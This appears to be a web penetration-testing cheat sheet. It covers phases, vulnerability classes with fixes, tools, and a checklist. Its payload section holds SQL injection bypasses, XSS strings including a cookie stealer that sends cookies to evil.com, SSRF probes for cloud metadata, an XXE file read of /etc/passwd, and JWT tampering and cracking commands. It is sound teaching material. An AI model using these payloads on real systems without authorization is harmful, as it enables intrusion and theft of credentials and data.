01Recon

▶

02Scanning

▶

03Enumeration

▶

04Exploitation

▶

05Post-Exploit

▶

06Reporting

🔍 01 — Reconnaissance

WHOIS lookups — domain owner, registrar, datesPASSIVE

DNS enumeration — subdomains, MX, TXT, NS recordsPASSIVE

Google Dorking — exposed files, login pages, errorsPASSIVE

Shodan / Censys — open ports & bannersPASSIVE

theHarvester — emails, names, subdomainsOSINT

Wayback Machine — old endpoints & leaked contentPASSIVE

📡 02 — Scanning & Fingerprinting

Port scanning with Nmap — open services & versionsACTIVE

Web tech fingerprinting — Wappalyzer, WhatWebPASSIVE

SSL/TLS audit — weak ciphers, expired certsACTIVE

HTTP headers analysis — CORS, CSP, HSTS gapsPASSIVE

Spider / crawl — map all routes & formsACTIVE

🗺 03 — Enumeration

Directory brute-force — hidden paths & admin panelsACTIVE

API endpoint discovery — /api/, /v1/, /swagger/ACTIVE

Parameter fuzzing — hidden or undocumented paramsACTIVE

User enumeration — login/register error differencesACTIVE

Source code & comments reviewMANUAL

💣 04 — Exploitation

Inject payloads into identified entry pointsACTIVE

Bypass auth — default creds, JWT tampering, OAuth flawsACTIVE

IDOR — manipulate object IDs in requestsACTIVE

File upload abuse — bypass extension filtersACTIVE

Business logic flaws — price tampering, flow skippingMANUAL

🏴 05 — Post-Exploitation

Privilege escalation — elevate user roleACTIVE

Session hijacking — steal tokens / cookiesACTIVE

Data exfiltration — access sensitive recordsACTIVE

Lateral movement — pivot to internal systemsACTIVE

Persistence — backdoors, rogue accountsACTIVE

📋 06 — Reporting

Executive summary — business impact, non-technicalDOC

Findings per vuln: CVSS score, proof, steps to reproduceDOC

Remediation recommendations — specific & actionableDOC

Risk rating: Critical / High / Medium / Low / InfoDOC

💉 SQL Injection (SQLi)

Unsanitized input hits DB queries directlyCRITICAL

Types: Classic, Blind (Boolean/Time), Error-based, OOBINFO

Test: ' OR 1=1-- in any input fieldTEST

Fix: Parameterized queries / prepared statementsFIX

📜 XSS — Cross-Site Scripting

Reflected: payload echoed in response immediatelyHIGH

Stored: payload saved in DB, hits every visitorCRITICAL

DOM-based: client-side JS writes attacker data to DOMHIGH

Fix: Output encoding + CSP headers + HttpOnly cookiesFIX

🔗 CSRF — Cross-Site Request Forgery

Forces authenticated user to make unwanted requestsHIGH

Test: Forge request from external origin, check if acceptedTEST

Fix: CSRF tokens + SameSite=Strict cookie attributeFIX

📂 IDOR — Broken Object Auth

Manipulate IDs to access other users' dataHIGH

Example: /api/user/1337 → change to /api/user/1338TEST

Also check: GUIDs, hashes, encoded valuesTEST

Fix: Server-side ownership checks on every resourceFIX

🔑 Broken Authentication

Weak passwords, no MFA, no lockout policyCRITICAL

JWT: check alg:none, weak secret, no expiryCRITICAL

Session tokens: predictable, long-lived, not invalidated on logoutHIGH

Fix: MFA + secure session management + token rotationFIX

🌐 SSRF — Server-Side Request Forgery

Server fetches attacker-controlled URL — hits internal infraCRITICAL

Test: Inject 127.0.0.1, 169.254.169.254 (AWS meta)TEST

Bypass: URL encoding, redirects, DNS rebindingTEST

Fix: Allowlist outbound URLs + block internal rangesFIX

🗃 XXE — XML External Entity

Malicious XML reads server files or triggers SSRFCRITICAL

Test: Inject ENTITY referencing /etc/passwdTEST

Fix: Disable external entities in XML parser configFIX

📦 Insecure Deserialization

Tampered serialized objects → RCE or privilege escalationCRITICAL

Look for: base64 blobs, pickled data, Java serialized objectsTEST

Fix: Avoid deserializing untrusted data; use integrity checksFIX

🕷 Reconnaissance

Nmap — port scanner & service fingerprinterCLI

theHarvester — OSINT aggregatorCLI

Shodan — internet-wide scanner search engineWEB

Subfinder / Amass — subdomain enumerationCLI

Recon-ng — modular OSINT frameworkCLI

🔬 Scanning & Proxying

Burp Suite — intercept, modify, replay HTTPGUI

OWASP ZAP — free web app scanner + proxyGUI

Nikto — web server vulnerability scannerCLI

Gobuster / Feroxbuster — directory & file brute-forceCLI

WhatWeb / Wappalyzer — tech stack detectionCLI/EXT

💉 Exploitation

SQLMap — automated SQL injection & takeoverCLI

Metasploit — exploit framework & payloadsCLI

XSStrike — advanced XSS scanner & fuzzerCLI

jwt_tool — JWT analysis, tampering & crackingCLI

Commix — command injection automationCLI

🔐 Auth & Password

Hydra — fast network login brute-forcerCLI

Hashcat — GPU-powered hash crackerCLI

CrackMapExec — AD and network auth testingCLI

Burp Intruder — credential stuffing & fuzzingGUI

🧩 Wordlists & Payloads

SecLists — massive curated wordlist collectionREPO

RockYou.txt — classic password listFILE

PayloadsAllTheThings — exploit payload libraryREPO

FuzzDB — fuzzing patterns & attack stringsREPO

🖥 Platforms & Labs

HackTheBox — CTF machines & web challengesONLINE

TryHackMe — guided learning pathsONLINE

PortSwigger Web Academy — free vuln labs (Burp)ONLINE

DVWA / WebGoat — local intentionally vulnerable appsLOCAL

💉 SQL Injection Starters

        # Basic auth bypass

        ' OR 1=1--

        admin'--

        ' OR '1'='1

        # Time-based blind (MySQL)

        ' AND SLEEP(5)--

        # Error-based

        ' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--

📜 XSS Payloads

        # Basic test

        <script>alert('XSS')</script>

        # Filter bypass variants

        <img src=x onerror=alert(1)>

        <svg onload=alert(1)>

        javascript:alert(1)

        # Cookie stealer

        <script>fetch('//evil.com?c='+document.cookie)</script>

🌐 SSRF Probes

        # Local / loopback

        http://127.0.0.1/admin

        http://localhost:8080

        # AWS metadata service

        http://169.254.169.254/latest/meta-data/

        # Bypass with DNS rebinding

        http://spoofed.attacker.com  # resolves to 127.0.0.1

🗃 XXE Payload

        <?xml version="1.0"?>

        <!DOCTYPE foo [

         <!ENTITY xxe SYSTEM "file:///etc/passwd">

        ]>

        <foo>&xxe;</foo>

🔑 JWT Tampering

        # Decode header (base64)

        {"alg":"HS256","typ":"JWT"}

        # Try alg:none attack

        {"alg":"none","typ":"JWT"}

        # Brute-force weak secret

        hashcat -a 0 -m 16500 token.txt rockyou.txt

📡 Nmap Quick Scans

        # Fast top-1000 port scan

        nmap -T4 -F target.com

        # Full scan + version + scripts

        nmap -sV -sC -p- target.com

        # Web vuln scripts

        nmap --script http-vuln-* target.com

0 / 30 completed

🔍 Reconnaissance

WHOIS + DNS enumeration completed

Subdomain discovery (Subfinder / Amass)

Google Dorking for exposed files / errors

Shodan / Censys search for open ports

Wayback Machine for old endpoints

📡 Scanning

Full port scan with Nmap (-sV -sC)

Web tech stack identified (WhatWeb)

SSL/TLS tested — weak ciphers, expired certs

Security headers reviewed (CSP, HSTS, X-Frame)

Spider / crawl all routes and forms

🗺 Enumeration

Directory brute-force (Gobuster / Feroxbuster)

API endpoint discovery (/api/, /v1/, /swagger/)

Parameter fuzzing for hidden params

User enumeration via error messages

HTML source & JS comments reviewed

💣 Injection Testing

SQL injection tested on all input fields

XSS (Reflected, Stored, DOM) tested

Command injection on OS-interacting inputs

XXE on XML-accepting endpoints

SSRF on URL / webhook input fields

🔑 Authentication & Session

Default credentials tested

JWT tampered (alg:none, weak secret)

Session token entropy & expiry checked

CSRF tokens verified on state-changing requests

OAuth / SSO flow reviewed for misconfigurations

🗂 Access Control

IDOR tested across all object references

Horizontal & vertical privilege escalation tested

Forced browsing to restricted pages

HTTP method tampering (GET→POST→PUT→DELETE)

📋 Reporting

All findings documented with PoC & screenshots